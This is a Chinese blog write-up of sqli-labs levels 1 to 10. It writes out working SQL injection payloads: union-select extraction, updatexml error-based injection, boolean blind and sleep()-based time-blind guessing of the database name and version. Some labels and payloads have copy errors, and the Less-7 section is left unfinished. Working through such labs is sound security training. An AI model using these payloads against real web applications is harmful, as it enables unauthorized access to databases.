当前位置: 首页 > news >正文

sqli --【1--10】

Less-1(联合查询)

1.查看是否有回显

2.查看是否有报错

3.使用联合查询(字符注入)

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-2(联合查询)

1.查看是否有回显

2.查看是否有报错

3.使用联合查询(数字型注入)

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-3(联合查询)

1.查看是否有回显

2.查看是否有报错

3.使用联合查询(数字型注入)

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-4(联合查询)

1.查看是否有回显

2.查看是否有报错

3.使用联合查询(数字型注入)

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-5(错误注入)

1.无显示

2.有错误

3.使用错误注入

Less-6(错误注入)

1.无显示

2.有错误

3.使用错误注入

Less-7(读写文件)

1.查看是否有回显

Less-8(布尔盲注)

1.没有回显

2.没有报错

3.布尔盲注获取数据库名

4.计算数据库名字的位数

5.猜测每一位

Less-9(延时注入--1‘)

1.没有回显

2.没有报错

3.使用延时注入

4.分别查看每一位

Less-10(延时注入--1“)

1.没有回显

2.没有报错

3.使用延时注入

4.分别查看每一位


Less-1(联合查询)

1.查看是否有回显

?id=1

image-20230823212812230

2.查看是否有报错

?id=2'

image-20230823212916505

3.使用联合查询(字符注入)

3.1判断其列数

?2' order by 4 --+
判断有3列

image-20230823213657350

3.2 判断显示位置

?id=2' and 1=2 union select 1,2,3 --+
此处为字符型注入,要确定前一段为假

image-20230823214024670

3.3敏感信息查询

?id=2' and 1=2 union select 1,version(),database() --+
​
version() --版本号  :5.7.26
database()--数据库名称 : security

image-20230823214321828

Less-2(联合查询)

1.查看是否有回显

?id=1

image-20230823221044476

2.查看是否有报错

?id=2'

image-20230823221201775

3.使用联合查询(数字型注入)

3.1判断其列数

?2' order by 4 --+
判断有3列

image-20230823221627126

3.2 判断显示位置

?id=2' and 1=2 union select 1,2,3 --+
此处为字符型注入,要确定前一段为假

image-20230823221652336

3.3敏感信息查询

?id=2' and 1=2 union select 1,version(),database() --+
​
version() --版本号  :5.7.26
database()--数据库名称 : security

image-20230823221720787

Less-3(联合查询)

1.查看是否有回显

?id=1

image-20230823222047496

2.查看是否有报错

?id=2'

image-20230823222133486

3.使用联合查询(数字型注入)

3.1判断其列数

?2') order by 4 --+
判断有3列

image-20230823222242959

3.2 判断显示位置

?id=2') and 1=2 union select 1,2,3 --+
此处为字符型注入,要确定前一段为假

image-20230823222316251

3.3敏感信息查询

?id=2') and 1=2 union select 1,version(),database() --+
​
version() --版本号  :5.7.26
database()--数据库名称 : security

image-20230823222352407

Less-4(联合查询)

1.查看是否有回显

?id=1

image-20230823222504478

2.查看是否有报错

?id=2"

image-20230823222756754

3.使用联合查询(数字型注入)

3.1判断其列数

?2") order by 4 --+
判断有3列

image-20230823222852599

3.2 判断显示位置

?id=2") and 1=2 union select 1,2,3 --+
此处为字符型注入,要确定前一段为假

image-20230823222939729

3.3敏感信息查询

?id=2") and 1=2 union select 1,version(),database() --+
​
version() --版本号  :5.7.26
database()--数据库名称 : security

image-20230823223015613

Less-5(错误注入)

1.无显示

image-20230823223422750

2.有错误

image-20230823223533204

3.使用错误注入

?id=2 ' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

image-20230823223952605

Less-6(错误注入)

1.无显示

image-20230823224143187

2.有错误

image-20230823224249541

3.使用错误注入

?id=2 ' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

image-20230823224334113

Less-7(读写文件)

1.查看是否有回显

根据 Use outfile判断,此处使用写入文件的方式

image-20230824204519878

2.

Less-8(布尔盲注)

1.没有回显

image-20230823215743763

2.没有报错

image-20230823215938620

3.布尔盲注获取数据库名

?id=2' and database()='ajest' --+
没有显示,成本太高

image-20230823220022235

4.计算数据库名字的位数

?id=2' and length(database())>0 --+
?id=2' and length(database())=8 --+
​
显示八位
​

descript

descript

5.猜测每一位

?id=2' and ascii(substr((select database()),1,1))=115 --+

115 s

101 e

99 c

117 u

114 r

105 i

116 t

121 y

数据库:security

descript

Less-9(延时注入--1‘)

1.没有回显

?id=1

descript

2.没有报错

?id=1'

descript

3.使用延时注入

?id=1' and if(length((select version()))=6,sleep(5),1) --+
​
版本号共有6位

descript

4.分别查看每一位

?id=1' and if(ascii(substr((select version()),1,1))=53,sleep(5),1) --+

53 5

46 .

55 7

46 .

50 2

54 6

版本号 :5.7.26

descript

descript

descript

descript

descript

descript

Less-10(延时注入--1“)

1.没有回显

?id=1

image-20230824223349191

2.没有报错

?id=1"

image-20230824223316986

3.使用延时注入

?id=1" and if(length((select version()))=6,sleep(5),1) --+
​
版本号共有6位

image-20230824223246293

4.分别查看每一位

?id=1" and if(ascii(substr((select version()),1,1))=53,sleep(5),1) --+

53 5

46 .

55 7

46 .

50 2

54 6

版本号 :5.7.26

image-20230824223201619

相关文章:

sqli --【1--10】

Less-1(联合查询) 1.查看是否有回显 2.查看是否有报错 3.使用联合查询(字符注入) 3.1判断其列数 3.2 判断显示位置 3.3敏感信息查询 Less-2(联合查询) 1.查看是否有回显 2.查看是否有报错 3.使用…...

《自然语言处理(NLP)的最新进展:Transformers与GPT-4的浅析》

🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🦄 博客首页——🐅🐾猫头虎的博客🎐 🐳 《面试题大全专栏》 🦕 文章图文…...

Wireshark 用命令行分析数据包

1,那些情况需要使用命令行 Wireshark一次性提供了太多的信息。使用命令行工具可以限制打印出的信息,最后只显示相关数据,比如用单独一行来显示IP地址。命令行工具适用于过滤数据包捕获文件,并提供结果给另一个支持UNIX管道的工具…...

LVS DR模式负载均衡群集部署

目录 1 LVS-DR 模式的特点 1.1 数据包流向分析 1.2 DR 模式的特点 2 DR模式 LVS负载均衡群集部署 2.1 配置负载调度器 2.1.1 配置虚拟 IP 地址 2.1.2 调整 proc 响应参数 2.1.3 配置负载分配策略 2.2 部署共享存储 2.3 配置节点服务器 2.3.1 配置虚拟 IP 地址 2.3.2…...

探讨前后端分离开发的优势、实践以及如何实现更好的用户体验?

随着互联网技术的迅猛发展,前后端分离开发已经成为现代软件开发的一种重要趋势。这种开发模式将前端和后端的开发工作分开,通过清晰的接口协议进行通信,旨在优化开发流程、提升团队协作效率,并最终改善用户体验。本文将深入探讨前…...

微博一面:JVM预热,你的方案是啥?

说在前面 在40岁老架构师 尼恩的读者社区(50)中,最近有小伙伴拿到了一线互联网企业如微博、阿里、汽车之家、极兔、有赞、希音、百度、网易、滴滴的面试资格,遇到一几个很重要的面试题: JVM预热,你的方案是啥?Springb…...

open与fopen的区别

1. 来源 从来源的角度看,两者能很好的区分开,这也是两者最显而易见的区别: open是UNIX系统调用函数(包括LINUX等),返回的是文件描述符(File Descriptor),它是文件在文件…...

Unity记录一些glsl和hlsl的着色器Shader逆向代码

以下内容一般基于 GLSL 300 之后 以下某些代码行,是“伪代码“,绝大部分是renderDoc 逆向产生标准代码 本人OpenlGL零基础,也不打算重头学 目录 Clip() 剔除函数 discard; FS最终颜色输出 out 和最终颜色相加方程…...

基于Sentinel的微服务保护

前言 Sentinel是Alibaba开源的一款微服务流控组件,用于解决分布式应用场景下服务的稳定性问题。Sentinel具有丰富的应用场景,它基于流量提供一系列的服务保护措施,例如多线程秒杀情况下的系统承载,并发访问下的流量控制&#xff…...

Collectors类作用:

一、Collectors类: 1.1、Collectors介绍 Collectors类,是JDK1.8开始提供的一个的工具类,它专门用于对Stream操作流中的元素各种处理操作,Collectors类中提供了一些常用的方法,例如:toList()、toSet()、to…...

LASSO回归

LASSO回归 LASSO(Least Absolute Shrinkage and Selection Operator,最小绝对值收敛和选择算子算法)是一种回归分析技术,用于变量选择和正则化。它由Robert Tibshirani于1996年提出,作为传统最小二乘回归方法的替代品。 损失函数 1.线性回…...

机器学习中的 K-均值聚类算法及其优缺点。

K-均值聚类算法是一种常见的无监督学习算法,它可以将数据集分成 K 个簇,每个簇内部的数据点尽可能相似,而不同簇之间的数据点应尽可能不同。下面详细讲解 K-均值聚类算法的优缺点: 优点: 简单易用:K-均值…...

云计算与虚拟化

一、概念 什么是云计算? 云计算(cloud computing)是分布式计算的一种,指的是通过网络“云”将巨大的数据计算处理程序分解成无数个小程序,然后,通过多部服务器组成的系统进行处理和分析这些小程序得到结果…...

Linux常见进程类别

目录 常见进程类别 守护进程&精灵进程 任务管理 进程组 作业 作业 | 进程组 会话 w命令 守护进程 守护进程的创建 setsid()函数 daemon()函数 模拟实现daemon函数 前台进程 | 后台进程 僵尸进程 | 孤儿进程 僵尸进程的一些细节 守护进程 | 后台进程 守护…...

智能小车之蓝牙控制并测速小车、wife控制小车、4g控制小车、语音控制小车

目录 1. 蓝牙控制小车 2. 蓝牙控制并测速小车 3. wifi控制测速小车 4. 4g控制小车 5. 语音控制小车 1. 蓝牙控制小车 使用蓝牙模块,串口透传蓝牙模块,又叫做蓝牙串口模块 串口透传技术: 透传即透明传送,是指在数据的传输过…...

指针进阶(一)

指针进阶 1. 字符指针面试题 2. 指针数组3. 数组指针3.1 数组指针的定义3.2 &数组名VS数组名 3.3 数组指针的使用4. 数组传参和指针传参4.1 一维数组传参4.2 二维数组传参4.3 一级指针传参4.4 二级指针传参 前言 指针的主题,我们在初级阶段的《指针》章节已经接…...

c# sql 判断表中是否包含指定字段

你可以使用以下方法来判断一个 SQL 数据库中的表是否包含指定的字段。 首先,你需要连接到数据库,然后执行一条 SQL 查询语句来检查表结构。你可以使用 SELECT 语句和 INFORMATION_SCHEMA.COLUMNS 系统视图来获取表中的所有列信息。 下面是一个示例代码…...

08-JVM垃圾收集器详解

上一篇:07-垃圾收集算法详解 如果说收集算法是内存回收的方法论,那么垃圾收集器就是内存回收的具体实现。 虽然我们对各个收集器进行比较,但并非为了挑选出一个最好的收集器。因为直到现在为止还没有最好的垃圾收集器出现,更加没…...

sql_mode详解

文章目录 一、sql_mode作用二、查询sql_mode三、mysql8默认的mode配置(6个默认配置)四、常见mode详细解释mysql8默认配置了的mode(6个)需要自己配置的mode(4个) 五、设置sql_mode(一旦设置了&am…...

Vue3的新特性总结

一、Vue3 里 script 的三种写法 首先&#xff0c;Vue3 新增了一个叫做组合式 api 的东西&#xff0c;英文名叫 Composition API。因此 Vue3 的 script 现在支持三种写法。 1、最基本的 Vue2 写法 <template><div>{{ count }}</div><button click"…...

论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(二)

HoST框架核心实现方法详解 - 论文深度解读(第二部分) 《Learning Humanoid Standing-up Control across Diverse Postures》 系列文章: 论文深度解读 + 算法与代码分析(二) 作者机构: 上海AI Lab, 上海交通大学, 香港大学, 浙江大学, 香港中文大学 论文主题: 人形机器人…...

《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析 (一)

CSI-2 协议详细解析 (一&#xff09; 1. CSI-2层定义&#xff08;CSI-2 Layer Definitions&#xff09; 分层结构 &#xff1a;CSI-2协议分为6层&#xff1a; 物理层&#xff08;PHY Layer&#xff09; &#xff1a; 定义电气特性、时钟机制和传输介质&#xff08;导线&#…...

微信小程序 - 手机震动

一、界面 <button type"primary" bindtap"shortVibrate">短震动</button> <button type"primary" bindtap"longVibrate">长震动</button> 二、js逻辑代码 注&#xff1a;文档 https://developers.weixin.qq…...

页面渲染流程与性能优化

页面渲染流程与性能优化详解&#xff08;完整版&#xff09; 一、现代浏览器渲染流程&#xff08;详细说明&#xff09; 1. 构建DOM树 浏览器接收到HTML文档后&#xff0c;会逐步解析并构建DOM&#xff08;Document Object Model&#xff09;树。具体过程如下&#xff1a; (…...

ffmpeg(四):滤镜命令

FFmpeg 的滤镜命令是用于音视频处理中的强大工具&#xff0c;可以完成剪裁、缩放、加水印、调色、合成、旋转、模糊、叠加字幕等复杂的操作。其核心语法格式一般如下&#xff1a; ffmpeg -i input.mp4 -vf "滤镜参数" output.mp4或者带音频滤镜&#xff1a; ffmpeg…...

多模态大语言模型arxiv论文略读(108)

CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文标题&#xff1a;CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文作者&#xff1a;Sayna Ebrahimi, Sercan O. Arik, Tejas Nama, Tomas Pfister ➡️ 研究机构: Google Cloud AI Re…...

Python ROS2【机器人中间件框架】 简介

销量过万TEEIS德国护膝夏天用薄款 优惠券冠生园 百花蜂蜜428g 挤压瓶纯蜂蜜巨奇严选 鞋子除臭剂360ml 多芬身体磨砂膏280g健70%-75%酒精消毒棉片湿巾1418cm 80片/袋3袋大包清洁食品用消毒 优惠券AIMORNY52朵红玫瑰永生香皂花同城配送非鲜花七夕情人节生日礼物送女友 热卖妙洁棉…...

IP如何挑?2025年海外专线IP如何购买?

你花了时间和预算买了IP&#xff0c;结果IP质量不佳&#xff0c;项目效率低下不说&#xff0c;还可能带来莫名的网络问题&#xff0c;是不是太闹心了&#xff1f;尤其是在面对海外专线IP时&#xff0c;到底怎么才能买到适合自己的呢&#xff1f;所以&#xff0c;挑IP绝对是个技…...

三分算法与DeepSeek辅助证明是单峰函数

前置 单峰函数有唯一的最大值&#xff0c;最大值左侧的数值严格单调递增&#xff0c;最大值右侧的数值严格单调递减。 单谷函数有唯一的最小值&#xff0c;最小值左侧的数值严格单调递减&#xff0c;最小值右侧的数值严格单调递增。 三分的本质 三分和二分一样都是通过不断缩…...

破解路内监管盲区:免布线低位视频桩重塑停车管理新标准

城市路内停车管理常因行道树遮挡、高位设备盲区等问题&#xff0c;导致车牌识别率低、逃费率高&#xff0c;传统模式在复杂路段束手无策。免布线低位视频桩凭借超低视角部署与智能算法&#xff0c;正成为破局关键。该设备安装于车位侧方0.5-0.7米高度&#xff0c;直接规避树枝遮…...